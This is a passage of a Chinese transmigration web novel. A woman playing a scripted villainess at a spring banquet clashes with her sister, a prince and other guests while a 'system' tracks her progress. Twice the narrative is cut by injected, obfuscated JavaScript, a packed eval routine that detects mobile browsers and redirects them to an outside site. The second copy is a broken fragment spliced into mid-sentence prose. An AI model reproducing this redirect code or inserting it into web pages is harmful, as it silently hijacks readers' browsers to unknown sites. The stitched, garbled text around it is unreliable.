“蠢得很。”她低语,不知是说鸟,还是说原来那个飞蛾扑火的自己。 女子低眉,浅浅地笑着,鬓边一支棠梨翠羽,坠下来的流苏顺着风轻轻摇啊摇,陷进唇涌的梨涡旋儿里,漾出淡淡的愁意。说不清,也道不明。 正当她敛眸思索下一步时,一道轻柔好奇的声音从旁侧传来。 “真好看呀……” 柳知微转头。只见邻座不知何时坐了一位少女,约莫十六七岁,头戴帷帽,白纱垂落遮面,怀中抱着一只通体雪白的猫儿,正看着她的方向。 “这鸟儿确是稀罕。”柳知微客气应道。 帷帽少女却轻轻摇头,白纱微漾。 “不是鸟儿。”她的声音透过薄纱,带着一种空灵的笃定。 “是美人……像从很旧、很旧的画里,走出来的美人面。” 柳知微心中微动。 “美人面?”她重复着,指尖无意识划过光润的瓷杯沿,目光透过那层白纱,试图捕捉其后真实的神情。 现下不必做出跋扈的人设,柳知微面上便依旧是那副病弱娇花般的浅笑。 “姑娘说笑了。我这等蒲柳之姿,又是久病之身,怕是入不得画。倒是姑娘怀里的猫儿,雪团似的,才真是玉雪可爱。” 帷帽少女似乎松了口气,隔着纱也能感觉她放松了姿态,甚至微微前倾,语气里多了几分贵女少有的鲜活与分享欲:“它叫‘雪饼’!特别乖,就是有点贪吃……啊,你这裙子是蜀锦月华缎吧?这织法和暗纹,现在可真不多见了,配上你这支棠梨翠羽簪,淡雅又高级,审美真好!” 高级。 柳知微捕捉到这个过于现代的词,她轻轻拢了拢衣袖,状似无意地接话:“姑娘好眼力。不过这‘高级’一词,倒是新奇。可是南边新近的雅称?” “啊?呃……这个嘛……”帷帽少女明显卡壳了一下,抱着猫儿的手紧了紧,白纱晃动,“就、就是挺好、非常不错的意思!我……我随口说的,家乡话,家乡话哈哈……” 这欲盖弥彰的样子,几乎要把“我有问题”写在脸上了。 忽然前庭隐隐的喧哗像是被一只无形的手骤然掐断,陷入了某种突兀的寂静。紧接着,便是一阵整齐划一的靴履踏地之声,由远及近,不疾不徐,却带着千钧压力,碾过青石地面,也碾过满园春色的浮华 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芝麻:[升级词库中……收入同义词:醍醐灌顶,鞭辟入里,入木三分,字字珠玑,切中肯綮,有地放屎……] 柳知微:“……”抱歉,职业病。 靖王,宋歇。 当朝摄政王宋乘风最倚重、也最锋芒毕露的嫡亲侄儿。手握实权,性情莫测,是真正能在朝堂上翻云覆雨的人物。 他的到来,让这春日宴瞬间变了味道,从风花雪月,坠入了无形的权柄场。 楼夫人的脸色很不好看。 柳知微心下奇怪,胡乱猜测着这位夫人兴许是厌恶权贵之人。 芝麻:[宿主大大,这二位是岳母和女婿的关系哦,原主的好闺蜜沈如雁便是靖王妃哦~] 柳知微:……重塑三观中。 靖王的视线,似乎漫不经心地掠过长席。 就在他的目光即将落到这个角落的刹那,柳知微身边那位戴着帷帽的少女,像是被踩了尾巴似的,猛地一个激灵! “哎呀!”她发出一声短促低呼。 “怎么又是他?真是阴魂不散!”帷帽少女压得极低的声音又快又急,几乎带着哭腔。 她根本不给柳知微反应的机会,借着人群和桌案的遮挡,踉踉跄跄、慌不择路地朝着女眷休息后院埋头冲去,甚至差点被自己的裙摆绊倒。 柳知微猝不及防,被她拽得跟跄两步,月白的裙裾拂过地面。她回头,目光恰好与远处那道玄色身影似乎无意间瞥来的视线,在空中极短暂地接触了一瞬。 仅仅那么一瞬,柳知微就难以忘怀。 这位靖王爷煞气深重。 孤鸾星照命,华盖覆顶。六亲如萍聚,财帛似雪消。一生多逢绝地处,总在柳暗花明时,又遭雨打风吹去。 简言之,全方位倒霉。 柳知微心头一凛,立刻收回目光。自从得了赛半仙那道“金手指”,她对周围万物的气息便格外敏感,对看人面相和命格的走势也有了异于常人的直觉。 看来方才那女郎便是靖王妃沈如雁无疑。怪不得要跑呢,这命格碰谁谁不幸。 而且,回一趟自己家而已。柳知微不由得联想起沈流商狼狈翻墙的模样……这两兄妹? 有卧龙则必有凤雏。 就在那女郎的身影消失在垂花门后不久。 沈府大门处,再次传来些许动静。并非靖王驾临时的肃杀,而是一种更为微妙的骚动。 一辆看似朴素、实则木料与做工皆非凡品的马车静静停下。 帘栊被一只纤纤玉手掀开。 先探出的,是一截如霜赛雪的皓腕,腕上一只通透的翡翠镯子,更衬得肌肤莹润。随后,一道窈窕身影,缓缓踏着脚凳下车。 刹那间,仿佛周遭的春光都黯淡了一瞬,只为聚拢在她周身。 柳清圆来了。 她扶着丫鬟的手,姿态优雅从容,对四周或明或暗的打量目光恍若未觉,只微微抬眼,目光轻轻扫过喧闹的宴席会场,像是在寻找什么。 柳清圆的眸光顿了顿,随即恢复平静,声音轻柔悦耳,问向引路的沈府侍女。 “请问,可见到我妹妹莺娘了?” 8. 爱恋徒占屋上乌 柳清圆出现的瞬间,就吸引了全场所有人的目光,与先前靖王爷出场的高压不同,青衣女子以扇抵面,浅笑嫣然,身材丰满高挑,风姿异常动人。 在场所有人都只剩下一个念头。惊鸿一瞥,忘言忘俗。 不出意外,柳清圆果然没穿那件粗糙的破烂衣裳。 柳知微出现的瞬间,百花宴的贵妇贵女们立刻进入一级吃瓜状态。 “快看快看!不知这是哪家小姐,生得此等绝色?”一位千金小姐用团扇遮着半张脸,眼睛却亮得发光。 “是那位柳大小姐啊!身子不好,尚书府自小养在乡间的庄子的。” “这、这竟是那野丫头?” “胡言乱语什么呢!她与柳知微皆是正儿八经的嫡女,身份金贵着呐。” “哎哟,这衣裳……”一位夫人在人群中低语,“碧色本是明艳,可这料子瞧着像是去年的云锦,花色也不够鲜亮了。” “听说今早柳大小姐的礼服出了岔子,临时换了身更素雅的,反倒惊艳全场。”有人故作神秘地压低声音,“你们说,会不会是……” “还用说么?定是有人想使绊子,结果搬石头砸自己脚了!”一位贵女嗤笑道,“柳莺娘善妒的名声,京城里谁不知道?” “哎呦,小声些!” 柳知微用力地捏着那锦囊,暗自咬牙,这个动作被众人解读为“羞愤难当”。 【人设值+25】 她垂下的眼睫恰到好处地颤抖着,在旁人眼中那是强忍泪意的倔强,实际上她只是在强忍哈欠。 柳知微没好气地扎着柳清圆的小人。昨晚得知那个让人崩溃的事实后,她根本睡不着,现在她只想知道女主人设到底崩坏到了什么地步,还有没有挽回的余地。 年纪大了,实在是熬不住! 与她的“狼狈”相比,柳清圆简直是天选之女。那身简单却更显身段的天水碧裙裳,衬得她如初荷含露。几位贵女围着她,正在讨论今春流行的簪花样式。 这个月柳尚书也没闲着,帮柳清圆把交际圈打开了。她也算归在玉清公主名下,与柳知微地位相当,只是对外称病,在庄子里休养,京中贵人们便对这位柳家女儿很是好奇。 “柳大小姐这身真是清雅脱俗,比那些繁复的绣花更显气质。” “是啊是啊,正所谓‘清水出芙蓉,天然去雕饰’……” 柳清圆只是温婉地笑着。 而在她近处,一位清俊男子着一身月白长衫,玉冠束发,手握书卷立于柳下。 柳知微嗑着瓜子儿,心里数了数。自柳清圆登场后,封瑾遥他已经在那儿站了老半晌,姿势调整了三次,书页翻动了七页。 柳知微敢赌一包辣条,这人铁定一个字也没看进去。 贵女们私下已经偷偷瞄了他好几轮了。 “封公子真是‘岩岩若孤松之独立’……” “听说他前日作的那首《春赋》,连国子监祭酒都赞不绝口。” “可惜啊,封公子这等风华,却已有婚约在身……” 封瑾遥的目光,看似落在书页上,实则频频飘向人群中央那抹碧色。终于,他深吸一口气,合上书卷,朝着柳清圆走去。 “柳小姐。”他微微一揖,声音温润如玉,“前日在下偶然读《诗经》,至《郑风·野有蔓草》一篇,中有‘有美一人,清扬婉兮’之句,忽觉与小姐今日风采颇有暗合之处,不知小姐以为如何?” 四周瞬间安静了。 几位贵女竖起耳朵,几位公子也投来好奇的目光。谁不知道封瑾遥是京城有名的才子,他主动与女子探讨诗文,这可是头一遭! 柳清圆脸上的笑容僵了僵。 《诗经》?《郑风》?野……野有什么草? 她努力维持着温婉的表情,大脑飞速运转。村里的私塾好像讲过《诗经》……是哪一本来着?学的好像是《女诫》?不对,好像是《列女传》? “封公子过誉了。”她柔声道,试图蒙混过关,“清圆才疏学浅,岂敢与诗经典籍相提并论。” “小姐谦虚了。”封瑾遥眼睛一亮,以为她在自谦,于是再接再厉,“小姐可知,此句之后还有‘邂逅相遇,适我愿兮’。今日得见小姐,方知古人诚不我欺,这‘适我愿兮’四字,正是……” 他话还没说完,柳清圆脸上的笑容已经快要挂不住了。 邂……逅?什么适什么愿? 她求助似的看向身边的丫鬟,丫鬟也一脸茫然。周围贵女们期待的眼神让她压力山大。 “封公子真是……博学。”她干巴巴地说,手指无意识地绞着手帕,“这诗文……甚好,甚好。” 封瑾遥敏锐地察觉到了不对劲。按常理,才女听到这样的赞美,要么羞涩低头,要么回以相应的文雅词句。可柳清圆这反应…… 他不死心,又试探道:“不知小姐平日喜读何书?在下近日在读《楚辞》,尤爱《九歌》中‘悲莫悲兮生别离,乐莫乐兮新相知’一句,小姐可曾读过?” 柳清圆:“……” 《楚辞》?九……九什么? 几名女子已经开始掩嘴偷笑了。全是原书里柳知微先前就找好的托。 “柳大小姐怎么不说话呀?” “该不会……没读过吧?” “不可能吧?柳家可是书香门第……” 那个身穿杏黄色襦裙的女孩子一点就炸了,拍案而起,柳知微觉得她似乎下一刻就要揭竿而起,怒吼“王侯将相宁有种乎”。 “你这酸菜鱼,左不过才中了秀才,便要人面前显贵,拿这一堆文绉绉的堵谁呢?老娘早看你不顺眼了。” 周围那些窃窃私语的人顿时噤若寒蝉,封瑾遥都吓得一激灵。 柳知微瞌睡都醒了一半,心情十分激动。 这河东狮吼……出现了,出现了!女配团的二把手,将门虎女慕容静姝! 【叮!——可攻略人物之“慕容静姝”,镇国大将军之女,女主伴娘团之一。嫉恶如仇,开朗豪爽,虎虎的直女一枚。】 【后期被策反,与柳知微暗中勾结,犯下通敌卖国之罪,九族全灭。】 不过这是“柳知微”入宫开启妖妃线后的剧情了。而柳知微打算的,就是先下手为强。 这个盟友,她势在必得。 慕容静姝握紧拳头就要上去与封瑾遥论道,好事者们一哄而散,周围几个有眼力劲儿的都上去劝架了。 柳清圆从容离场,美美隐身。 “姓封的,有本事打过我,再去刁难人啊!” 撩妹失败的封瑾遥留在原地,脸上的温润笑容彻底僵住了。他握着书卷的手指微微收紧,书页边缘被捏出了细微的褶皱。 几个一直关注着他们的贵女终于忍不住,噗嗤笑出了声。 “我的天,封公子那表情,哈哈哈哈,我憋不住了!” “难怪柳大小姐要跑,这么老土的搭讪方式,真是时代的眼泪咯!” 现场风评180度逆转,柳清圆回头看向慕容静姝,感激之情溢于言表。 真是情真意切的一眼呐。 柳知微心里一咯噔。跟她抢牛马呢? “好了,笑话看够了,去准备一下吧。”她示意旁边的贴身丫鬟附耳过来,低声吩咐了一句。 Ok,it''smyshowtime! 柳知微刚理理衣裙,就要去守株待兔,却不料被柳清圆拦住了去路。 “妹妹。”柳清圆的声音里带着一丝难得的急促,显然还没从刚才的“诗文酷刑”中缓过来,“华宴尚未开始,怎的就要走了?” 她手中不知何时多了一朵开得正艳的血红色牡丹,轻轻一递。那浓郁到有些咄咄逼人的香气立刻萦绕在柳知微鼻尖,熏得她差点真打喷嚏。 柳清圆笑意缱绻:“鲜花,还是配美人的。” 全场焦点忽的集中在她们两姐妹身上。 恶毒女配柳知微面上却立刻堆起被羞辱的怒容:“可惜了,今日园子里最美的花,似乎并不在妹妹身上。你春风得意,瑾遥哥哥的目光都在你身上,还要在我面前炫耀一番才罢休?” 她特意提高了音量,确保吃瓜群众能听清。 “岂敢。”柳清圆轻笑,将那牡丹随意别在柳知微鬓边,更添艳色,“只是想感谢妹妹。” 她凑近柳知微,压低声音,只用两人能听见的语调说:“我房里那条裙子,倒是照着妹妹的尺寸做的,我穿并不合身。那正红金织的样式我也不太喜欢。多亏托了妹妹的福,今早才又借来妹妹一件衣裳穿,不然我都不敢来赴这宴会了。” 这话听起来倒是没什么错处,只是对于暗戳戳干了坏事的柳知微来说嘛,句句都像在点她。 戏精上身的柳知微却佯装恼怒地将那牡丹花摔在了青石砖上,还拿脚用力踩了踩,气忿道:“柳清圆,你好本事,敢威胁上我了?一个乡下来的野丫头,也敢称我妹妹?也不掂量掂量自己的身份!” 【人设值+35】 柳知微暗暗顺了口气。每天这么吼来吼去,她都怀疑原主根本不是“才貌双全的柳家明珠”,这配置怕不是个超雄。 想象中的撕逼大战并没有来到,柳清圆只是深深看了她一眼,那眼神复杂得让柳知微一度怀疑自己脸上是不是粘了瓜子儿壳。 “是我唐突了,莺莺。” 然后她便笑着将手搭在了柳知微的手上,那只手温热柔软,力道却不容拒绝。柳知微下意识想抽回,却被握得更紧了些。 “妹妹陪姐姐走走可好?”柳清圆的声音依旧温温柔柔的,像是刚才那场暗流涌动的交锋从未发生过,“这园子大得很,有些地方,一个人走怪冷清的。” 周围的目光又聚了过来。几位知道内情的夫人交头接耳,眼中闪着看好戏的光,柳家这两位“嫡女”手挽手游园,这画面怎么看怎么诡异。 柳知微心里有些烦躁。她急着去布置自己的事,可当她对上柳清圆那双柔和的眼睛时,那股子装出来的不耐烦就莫名其妙地泄了大半。她僵硬地别过脸,不去看对方。她敢打包票,对着这张脸说出任何伤人的话,那都是自己跟自己过不去,平白当个恶人。 “走吧。”她听见自己的声音干巴巴的,没什么好气,却也没了方才那股子剑拔弩张的劲儿,“姐姐要跟便跟着,别挡道就是。” “说来姐姐有这闲情逸致,不如去找封公子探讨《楚辞》。”柳知微皮笑肉不笑,声音却压低了,只让两人听见,“我看他还没走远呢。” “妹妹说笑了。” 两人并肩走在□□上,身后跟着各自的丫鬟,隔着几步远的距离。四周的宾客识趣地让开一条路,目光却像粘在了她们身上。 柳知微心里盘算着春日宴的流程。按原书的剧情,再过半个时辰,就该是“酒醉迷情”的重头戏了,她要在后花园向封瑾遥递上那封早就准备好的“情药”,从此开启她作死的倒贴之路。 她下意识攥紧了袖中的锦囊。该怎么甩掉女主呢? “妹妹手里是什么?” 柳清圆的声音突然在耳边响起,柳知微一惊,侧头才发现这位姐姐不知何时已经凑到了她肩侧,那双秋水般的眸子正似笑非笑地盯着她的袖口。 “没什么。”柳知微不动声色地将手往袖中缩了缩,脚下加快了步伐,“姐姐管得未免太宽了。” “妹妹莫怪。”柳清圆不紧不慢地跟上,“只是见妹妹从方才就一直攥着那东西,是什么要紧的物件,让妹妹这般紧张?” 她顿了顿,声音又压低了几分,带上了点意味深长的笑意:“该不会……是给哪位公子的吧?” 柳知微猛地停下脚步,转头瞪她:这个女主是怎么回事?怎么一双眼睛什么都能看见? “姐姐多心了。”她冷声道,努力维持着恶毒女配的傲娇人设,“不过是些女儿家的私物,不值得姐姐过问。” “私物?”柳清圆歪了歪头,那个动作配上她那张温婉的脸,竟显得有几分天真的狡黠,“妹妹脸红了呢,看来我猜对了?” “谁脸红了!”柳知微差点破功,深吸一口气才稳住表情,“姐姐若是闲得无聊,不如去找慕容小姐聊聊天,我看她方才替姐姐出头,姐姐也该好好谢谢人家才是。” 这句话明显戳中了柳清圆的某根神经。她眼中闪过一丝微妙的神色,像是心虚,又像是无奈。 “慕容小姐那边,我自会去道谢。”柳清圆轻声道,目光却依旧停留在柳知微的袖口上,“倒是妹妹,今日似乎格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576297|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外心不在焉。方才踩我那一脚,现在还疼呢。” 柳知微:“……” 她低头看了一眼柳清圆的裙摆,那天水碧的料子上确实有个不太明显的鞋印。她完全不记得自己什么时候踩过她。 “那是姐姐自己不长眼。”她嘴硬道,心里却莫名有点心虚。 【人设值+10】 两人沉默着走了一段路,穿过一道月洞门,来到一处相对僻静的角落。假山流水,竹影婆娑,宾客们的喧闹声隔得远了,倒显出几分幽静来。 柳清圆忽然停下脚步,松开了柳知微的手。 “妹妹。”她转过身,正对着柳知微,脸上的笑容淡了几分,露出一丝难得的认真,“我方才说的话,并非全是场面话。” 柳知微警惕地看着她。 她顿了顿,目光落在柳知微脸上:“我来此,并非要与妹妹争什么。封公子金枝玉叶,我何必为难妹妹?我不是傻子,看得出妹妹想要什么。妹妹且宽心,不必这样防着我。” 柳知微心头一跳:这女主这么好说话?可惜她要赚积分啊,她也要混口饭吃。 “姐姐说笑了。”她扯出一个标准的恶毒女配式冷笑,“我防你?你也配?” 【人设值+50!】 柳清圆没有被这句话激怒。她只是静静地看着柳知微,那双眼睛里有一种说不清道不明的东西,像是了然,又像是怜惜。 “关你什么事。”柳知微把那锦囊藏到身后,梗着脖子道。 “我只是想告诉妹妹,”柳清圆伸手,替她拂去肩上不知何时落下的一片花瓣,“无论妹妹想做什么,都可以不必一个人扛着。” 柳知微愣住了。 她看着柳清圆,看着那双温温柔柔的眼睛,一时间竟分不清这到底是女主的圣母光环在普照众生,还是…… 柳清圆现在说这些,不过是因为她还不知道未来会发生什么。 柳知微深吸一口气,将所有动摇都压了下去。 “姐姐的好意,我心领了。”她的声音冷得很,“不过姐姐还是多操心操心自己吧。这京城的水深得很,姐姐一个乡下来的,可别不小心淹死了。” 说完,她转身就要走。 “叮咚——” 【系统提示:春日宴·酒醉迷情剧情即将在十五分钟后触发,请宿主前往指定地点做好准备。倒计时:十五分钟。】 【剧情完成度:23%。】 【温馨提示:本次剧情为关键转折点,将直接影响后续三条剧情线的开启。】 柳知微脚步一顿,心里把系统祖宗十八代都问候了一遍。 十五分钟?这么赶? “妹妹要去哪里?” 身后传来柳清圆的声音,紧接着是裙裾窸窣的声响。她追上来了。 柳知微头也不回:“与你无关。” “妹妹走这么急,可是有什么要紧事?”柳清圆三步并作两步追到她身侧,“那个锦囊……妹妹是要去送给封公子的吗?” 【还有十四分钟。】 “我说了,不关你的事。”她侧身想绕过柳清圆,却被对方一把拉住了手腕。 “妹妹!”柳清圆的声音突然拔高了些,带上了几分急切,“你听我说一句,无论那锦囊里是什么,都不要在这宴会上递出去。” “你……”柳知微张了张嘴,一时间竟忘了维持人设,“你知道里面是什么?” 柳清圆摇头:“我不知道。但我看妹妹从早上就心神不宁,方才在席间一直盯着封公子那边看,现在又攥着这东西急匆匆要过去……”她顿了顿,眼神变得复杂起来,“妹妹,我虽然不了解京中这些弯弯绕绕,但我看得出,你现在要做的事,不会有好结果。” “姐姐多虑了。”她扯了扯嘴角,甩开柳清圆的手,“宴会正盛,我只是想去喝杯酒而已。” 【叮咚——倒计时:600秒。】 柳知微心里一紧,再也顾不上什么体面,抬脚就要走。 “妹妹!”柳清圆再一次拦在她面前,这次直接张开了双臂,像只护崽的母鸡,“你若不说清楚,今日我便不放你过去。” 柳知微终于恼了。 “柳清圆!”她压低声音吼道,“你到底想怎样?你以为拦着我就算帮我了?你什么都不知道,什么都不懂,就不要在这里充什么好姐姐!” 她伸手去推柳清圆,想把人拨开。然而就在她的手掌触到柳清圆肩膀的一瞬间,柳清圆笑了起来,然后朝后倒去。 “啊——!” “天呐,二位小姐吵起来了,二小姐推了大小姐!” “清圆姑娘,你没事吧!” 柳知微:“……”ber不是,女主大人你怎么比我还像个恶毒女配呢! 可怜个屁。 “妹妹……”柳清圆的声音带着哭腔,眼眶红红的,像只被欺负惨了的小兔子,“是姐姐不好,不该拦着妹妹……妹妹别生气……” 周围的目光瞬间变得尖锐起来,像一把把刀子扎在柳知微身上。 行吧。演呗。谁还不是个戏精了。 “姐姐既然知道不好,就该早早让开。”她冷冷道,声音不大,却足够让周围人听见,“这园子里路这么宽,姐姐非要挡在我面前,摔了又能怪谁?” “姐姐,你拦不住我的。” 【人设值+10!】 说完,她不再看柳清圆一眼,转身大步离去。她理了理衣裙,攥紧锦囊,朝前厅走去。 只是走到半路,她又忍不住停下脚步,回头看了一眼。 隔着重重花影,她隐约看见柳清圆已经被丫鬟们扶了起来,正低头拍着裙摆上的灰。似乎是感应到了她的目光,柳清圆忽然抬起头,朝她这个方向望了过来。 隔着几十步的距离,两人的目光在空中相撞。她看见她攥紧裙摆,眼睫上悬着泪,湿漉漉地亮着,然后默然比了个口型:“回来。” 柳知微猛地转过头,大步流星地走了。她的心跳快得像擂鼓,手心全是汗,脑子都要炸掉了。 不是吧小姐姐,你不是十岁出头就能打死一只成年黑熊的魔法美少女嘛,在她这个恶毒女配这儿装得惨兮兮的要干嘛!为了她的夺舍大业,她是决不会被美色所惑的! 9. 山雨欲来风满楼 柳知微正在找封瑾遥那倒霉孩子的影子,前方暖阁后忽传来瓷器碎裂声与压抑的争吵。 她果断选择绕路,系统任务只要求她走恶毒女二剧情,没要求她当调解员。这种麻烦人物扎堆的地方,避之则吉。 刚绕开这是非之地,顺着另一条小径走了没几步,主厅那边忽然传来一阵不同寻常的喧哗。一个妇人的嗓音拔高而起,带着压抑不住的怒意,穿透了春日柔和的空气。 “……臣妇愧不敢当!” 哟,有大瓜! 八卦心驱使下,柳知微悄然靠近,找了个既能听清又不易被发现的角落。 只见靖王宋歇正站在一位气质雍容却面带寒霜的贵妇面前。靖王此刻脸色也不太好看。 那位贵妇正是楼夫人,沈如雁和沈流商的母亲。 “王爷大驾光临,寒舍蓬荜生辉。”楼夫人语气冷淡,“只是这‘岳母’之称,臣妇愧不敢当。雁儿的事情,自有她父亲定夺,不劳王爷挂心。” 嚯!一开口就是王炸! 周围的宾客们瞬间安静了。原本在交谈的闭上了嘴,原本在赏花的转过了头,原本在吃点心的放下了筷子。整个百花宴的主厅,静得能听见远处池塘里的蛙鸣。 几位夫人交换着眼神,用扇子遮着半张脸,但眼睛都瞪得溜圆。 宋歇面色不变,语调平稳却带着不容置疑的威严:“夫人过谦。如雁小姐温良恭俭,只是近来与本王有些嫌隙,便擅自离开王府,藏匿此中不肯见人,此举恐有伤我王府体面。本王希望夫人能多加教导,谨守本分。” “藏匿?”楼夫人像是听到了天大的笑话,“我女儿在自己家里,想怎么待就怎么待!倒是王爷——” 她上前一步,声音陡然拔高,每个字都清晰得像是砸在地面上的玉珠。 “若非陛下金口玉言,谁愿意把女儿推进你们皇家那个见不得人的火坑里!表面光鲜,内里……” 一地鸡屎。 “夫人!”一旁的沈铷连忙出声制止,却也面色铁青地瞪着宋歇。这位一向以沉稳著称的宁都侯,此刻拳头紧握,手背青筋都爆出来了。 沈流商更是直接跳了出来,少年意气,口无遮拦:“就是,我姐姐才不稀罕当什么王妃!靖王府规矩比天还大,闷都闷死了!姐夫……啊呸!王爷您还是请回吧!” “噗——”不知是谁没忍住笑出了声,又赶紧憋回去。 宋歇的眼神骤然冷冽,周围气压陡降。几位靠近的宾客不自觉地后退了半步。但他终究没对沈家母子发作,只是淡淡道。 “雁儿她生是我王府的人,永远也只会是我的王妃。她拜天地时说过要与我生生世世不分离,此言千金,本王铭记。” 他的目光扫过全场,那眼神里的寒意让几个刚才还窃窃私语的夫人打了个哆嗦。 “一月为期,若她再不出现在本王面前,休怪本王以宁都侯府最不愿见的方式要人。” 柳知微心中嗤笑,不过一个npc罢了,还能整出什么幺蛾子。 “传令。一月后雁儿若不归,本王便以八鸾金轿、十里锦障,再迎她风风光光入我王府之门。” 柳清圆:? 众人:? 踏马活该你有老婆。 万恶的有钱人。 “望岳丈岳母小舅子,汝等仔细思虑。” 说罢,拂袖而去。凌厉的袍角风差点扫到旁边一位躲闪不及的官员。那官员赶紧躬身,冷汗都下来了。 靖王潇洒走了,留下众人在原地抠脚抠出三室一厅。 楼夫人站在原地,胸口起伏,显然气得不轻。沈铷上前低声劝慰,沈流商还在那儿愤愤不平地嘟囔:“什么王爷……” 过了好一会儿,才有人小心翼翼地开口:“那个……楼夫人,喝口茶消消气……” “今日这牡丹开得真好,不如我们去那边看看?” “对对对,听说侯府从江南新引进了几株珍品……” 众人开始默契地转移话题,仿佛刚才那场惊天动地的冲突从未发生过。几位夫人拉着楼夫人往花圃方向走,言辞恳切地讨论起牡丹的栽培技巧;几位官员围着沈铷,说起朝中一些无关痛痒的政事;连最嘴碎的几位小姐,此刻也都专心致志地研究起自己裙子上的绣花。 柳知微在角落后默默吃完了这口热乎的豪门大瓜,内心缓缓打出一行弹幕。 诡秘你福气还在后头呢。 怪不得那沈如雁戴着帷帽不肯认人,原来是玩上“她逃,他追,他们都插翅难飞”的play了。 【剩余时间:两分钟。】 她掂了掂手里的团扇,眼角余光瞥见回廊那头,封瑾遥撩妹失败,柔弱的男人心陷入了深深的自我怀疑里,正在借酒消愁,一个人就喝得酩酊大醉。 柳知微差点笑出声。 看来今天受打击的不止她一个。 封瑾遥身形不稳地往空寂寥落的后院走去,似乎是追着柳清圆离开的方向去了。 芝麻:[叮!——宿主大大请注意,任务即将开启,宿主大大请做好准备!三、二、——] 柳知微:“桥豆麻袋。” 芝麻:? “500积分,那个东西,我要了。” * “清汤大老爷,Familywhoknows?!为毛他会出现在这里?!tellmewhy!” 沈如雁在后院里来回踱步,那帷帽已经被扯了下来,脑门儿上沾了好几片树叶子,顶着一头被挠成鸟窝的头发暴躁转圈。 她口中念念有词,时不时冒出些柳清圆听不明白的话。 柳清圆屏退左右,屋中终于安静下来。她脸上还挂着药粉催出的泪珠,一滴一滴,假得真切,手帕湿了半边。可她没有心思顾及这些,满脑子都是如何阻止柳莺莺作死。 她这个人想来恩怨分明。昨日擒住那只阴气凝成的猫儿,费了一番功夫逼问,总算拼凑出一个模糊的轮廓。她那便宜二妹妹确实来过,还接住了她从屋顶坠落的身子。但那缕阴气太弱,知道的也就这么多:柳莺莺来过,护过她,仅此而已。 所以这一回,她非帮柳知微不可。 靠近柳知微的时候,她就嗅到了不对。那锦囊中装着的花粉底下压着一层妖气,她本能地想伸手去拦,可惜她的二妹妹啊,一颗心全扑在那堵南墙上,头也不回,哪里拦得住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576298|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳清圆守在后花园,忽然冒出一姑娘来,见她这般模样,柳清圆只得敛了愁容,走近轻声劝道:“雁姑娘,万事皆有出路,何至于此?” 沈如雁猛地转过身,眼睛睁得大大的:“出路?小姐姐,你跟我说出路?” 她一把抓住柳清圆的手腕,“我当初就是图他长得好嘛!结果一开口就是女人女人的,我真是麻了!结什么婚?没人害我就谢天谢地了,还指望什么情啊爱啊?这福气给你你要不要?!” 柳清圆只是温声应着:“姑娘这话虽听着新鲜,细想却有几分通透。世间姻缘本就难测,若心中不甘,强求反倒……” 话未说完,柳清圆忽然顿住了。 就在沈如雁激动倾诉时,一股若有似无的气息飘过,那是一种冰冷的甜腻,隐隐带着草木腐败似的腥气。 这气息她幼时随师父上山采药时遇见过,师父当即拉着她远远避开,低声告诫:“闻见没有?这是山里有东西醒了……” 妖气。 柳清圆背脊微微绷紧,面上却不显露,只将沈如雁往自己这边轻轻带了带,目光迅速扫过四周。 花丛、假山、老树、墙角……那东西藏在哪里? 沈如雁浑然不觉,仍沉浸在自己的情绪里。她盯着柳清圆温婉平静的侧脸,忽然压低声音,一字一顿地问。 “奇变偶不变?” 柳清圆倏然回神,眼底闪过一丝真实的茫然。 沈如雁不甘心,又凑近些:“宫廷玉液酒?” 柳清圆蹙眉摇头。 “挖掘机技术……哪家强?”沈如雁问出最后一句,声音已有些发颤。 依旧只有风声。 “哈哈……果然……”沈如雁松开手,踉跄着后退半步,眼神彻底涣散,“就我一个……就我一个傻子……” 就在这一刹那,那股妖气骤然浓了几分。柳清圆清楚地感知到,它就在西侧池水畔那株老槐树的方向。 必须立刻让这姑娘离开这里,她才好有施展的地方。 柳清圆不再犹豫,上前扶住她,指尖迅速从腰间香囊掠过。一点几乎看不见的莹白粉末随着她的动作,轻轻拂过沈如雁的鼻尖。 “亲爱的,”柳清圆在她耳边柔声说,“好好睡一觉吧。” 那粉末带着清甜的安神花香,沈如雁眼皮一沉,最后只模糊看见柳清圆温静如初的眉眼,便彻底失去了意识。 柳清圆半扶半抱着她,让她靠坐在石凳上。那妖气尚未散去,反而在不断积蓄着往那池水边去。 春风依旧暖软,鸟鸣依旧清脆。 她不动声色地侧身,挡在沈如雁与老槐树之间,渐渐向池水畔靠拢,袖中的手悄悄捏住了师父留下的那枚护身符。 春日设宴赏花,妖祸在京城骤起,恐怕就应在今日。 她正凝神,肩头忽然被什么东西轻轻搭上。偏头一看,是那只深蓝色的袖子,垂着冷冷的衣角。 那张脸仍是木的,空空洞洞。 “阿济。”柳清圆唤了一声。 谢济泫缓缓矮身,单膝点地。 “去,把妖气源头找出来。” 蓝影一晃,无声散去。 10. 掀桌一式,开! 系统叮了一声:【关键剧情“妒心”已开启,请宿主注意关键人物“封瑾遥”正在靠近!】 【文本内容正在传输中……“花毒入体,女子忍不住喘起气来,点点红花点缀在少女动人的眼眸中。头上的牡丹更衬得她绯红的双颊娇媚绝伦,任是哪个男人对待这倾世容光都会欲罢不能,争相拜倒在她的石榴裙下。”】 